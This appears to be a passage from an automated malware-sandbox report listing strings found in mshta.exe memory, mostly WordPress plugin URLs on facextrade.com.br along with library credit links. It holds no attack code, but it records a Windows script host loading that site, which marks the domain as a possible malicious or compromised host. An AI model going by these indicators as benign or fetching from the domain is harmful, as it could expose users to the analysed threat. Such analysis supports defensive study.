66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 7
Source: mshta.exe, 0000000A.00000002.556298812.000000000CC90000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.drString found in binary or memory: https://www.youtube.com/watch?v=:id equals www.youtube.com (Youtube)
Source: mshta.exe, 0000000A.00000002.556298812.000000000CC90000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.drString found in binary or memory: html.attr( 'src', '//www.youtube.com/embed/' + video.id + '?autoplay=1&rel=0&v=' + video.id ); equals www.youtube.com (Youtube)
Source: mshta.exe, 0000000A.00000003.403877946.0000000007655000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.548453703.0000000007655000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: //www.youtube.com/embed/%id%?autoplay=1jPlayerPlaylist.prototype.options() equals www.youtube.com (Youtube)
Source: mshta.exe, 0000000A.00000003.338593873.0000000006C89000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: //www.youtube.com/embed/video.id equals www.youtube.com (Youtube)
Source: mshta.exe, 0000000A.00000003.391388724.00000000081F3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.391333298.00000000081F2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.391491166.00000000081F4000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.551412344.00000000081F5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: <div class="owl-video-frame" />//www.youtube.com/embed/ equals www.youtube.com (Youtube)
Source: mshta.exe, 0000000A.00000002.557363777.000000000CF0E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387016057.000000000CF0C000.00000004.00000800.00020000.00000000.sdmp, jquery.mousewheel.min[1].js.10.drString found in binary or memory: http://adomas.org/javascript-mouse-wheel/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: http://b.c2r.ts.cdn.office.net/pr
Source: mshta.exe, 0000000A.00000002.557363777.000000000CF0E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387016057.000000000CF0C000.00000004.00000800.00020000.00000000.sdmp, jquery.mousewheel.min[1].js.10.drString found in binary or memory: http://brandonaaron.net)
Source: mshta.exe, 0000000A.00000003.332510512.000000000714A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332337430.0000000007135000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545850187.0000000007190000.00000004.00000800.00020000.00000000.sdmp, swfobject[1].js.10.drString found in binary or memory: http://code.google.com/p/swfobject/
Source: mshta.exe, 0000000A.00000003.303044900.0000000006BD3000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.drString found in binary or memory: http://creativecommons.org/licenses/by/3.0/
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: mshta.exe, 0000000A.00000003.314619092.000000000710A000.00000004.00000800.00020000.00000000.sdmp, animate-logo[1].css.10.drString found in binary or memory: http://daneden.me/animate
Source: mshta.exe, 0000000A.00000002.557127856.000000000CDEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386345714.000000000CDE7000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387584363.000000000CDEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386732370.00000000071E7000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.546209264.00000000071EA000.00000004.00000800.00020000.00000000.sdmp, jquery.magnific-popup.min[1].js.10.drString found in binary or memory: http://dimsemenov.com/plugins/magnific-popup/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: http://f.c2r.ts.cdn.office.net/pr
Source: mshta.exe, 0000000A.00000002.556774271.000000000CD31000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.2
Source: mshta.exe, 0000000A.00000003.332768718.000000000353C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387290673.000000000353C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.b.com.bM
Source: mshta.exe, 0000000A.00000003.332768718.000000000353C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537609183.000000000353C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387290673.000000000353C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/
Source: mshta.exe, 0000000A.00000003.332768718.000000000353C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537609183.000000000353C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387290673.000000000353C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/5
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/H
Source: mshta.exe, 0000000A.00000003.386063052.0000000007133000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332896176.0000000007135000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545320205.0000000007133000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332337430.0000000007135000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/a
Source: mshta.exe, 0000000A.00000003.332896176.0000000007135000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332337430.0000000007135000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/a:
Source: mshta.exe, 0000000A.00000003.332896176.0000000007135000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332337430.0000000007135000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/aizRW
Source: mshta.exe, 0000000A.00000003.386063052.0000000007133000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332896176.0000000007135000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545320205.0000000007133000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332337430.0000000007135000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/arR/
Source: mshta.exe, 0000000A.00000002.548573652.00000000076A2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/p?
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-cont
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/6
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/p
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugin
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537862942.0000000003554000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542517709.0000000006B39000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20B7
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537862942.0000000003554000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537862942.0000000003554000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.204.9.201.2.8.1
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20s
Source: mshta.exe, 0000000A.00000002.541911720.0000000006AEA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332762135.0000000003532000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542517709.0000000006B39000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20
Source: mshta.exe, 0000000A.00000003.332762135.0000000003532000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.2020
Source: mshta.exe, 0000000A.00000002.542301085.0000000006B1C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20N
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20r=4.
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386088242.000000000714D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544798464.00000000070BA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.541911720.0000000006AEA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332762135.0000000003532000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545468854.000000000714D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20.
Source: mshta.exe, 0000000A.00000003.332762135.0000000003532000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.208
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20b
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20y
Source: mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0-
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0r7
Source: mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0
Source: mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.04
Source: mshta.exe, 0000000A.00000002.542517709.0000000006B39000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.06
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0:
Source: mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.06
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0B
Source: mshta.exe, 0000000A.00000003.386488905.000000000CCEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0Eq
Source: mshta.exe, 0000000A.00000003.403877946.0000000007655000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.548453703.0000000007655000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0http://facextr
Source: mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0ll.min.js?ver=
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.548501961.0000000007680000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386063052.0000000007133000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.541911720.0000000006AEA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545320205.0000000007133000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386140675.0000000006B47000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6
Source: mshta.exe, 0000000A.00000002.541911720.0000000006AEA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.68
Source: mshta.exe, 0000000A.00000002.557255980.000000000CE2E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6LME
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6d
Source: mshta.exe, 0000000A.00000002.544908525.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385971386.00000000070CF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6er=
Source: mshta.exe, 0000000A.00000002.546747050.000000000726A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver
Source: mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1
Source: mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545320205.0000000007133000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386140675.0000000006B47000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.547006550.000000000729D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1
Source: mshta.exe, 0000000A.00000002.541911720.0000000006AEA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1&
Source: mshta.exe, 0000000A.00000003.386979073.000000000729D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.547006550.000000000729D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1XC
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542148707.0000000006B07000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1s?
Source: mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/fonts/flexslider-icon.eo
Source: mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js
Source: mshta.exe, 0000000A.00000003.385971386.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.
Source: mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3=
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3J
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3e
Source: mshta.exe, 0000000A.00000002.547963442.00000000073F3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3http://
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3tC:
Source: mshta.exe, 0000000A.00000003.385971386.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1
Source: mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherryg
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.csr
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537862942.0000000003554000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3.brC:
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3ll
Source: mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3-
Source: mshta.exe, 0000000A.00000003.387016057.000000000CF0C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3e
Source: mshta.exe, 0000000A.00000002.542517709.0000000006B39000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3f
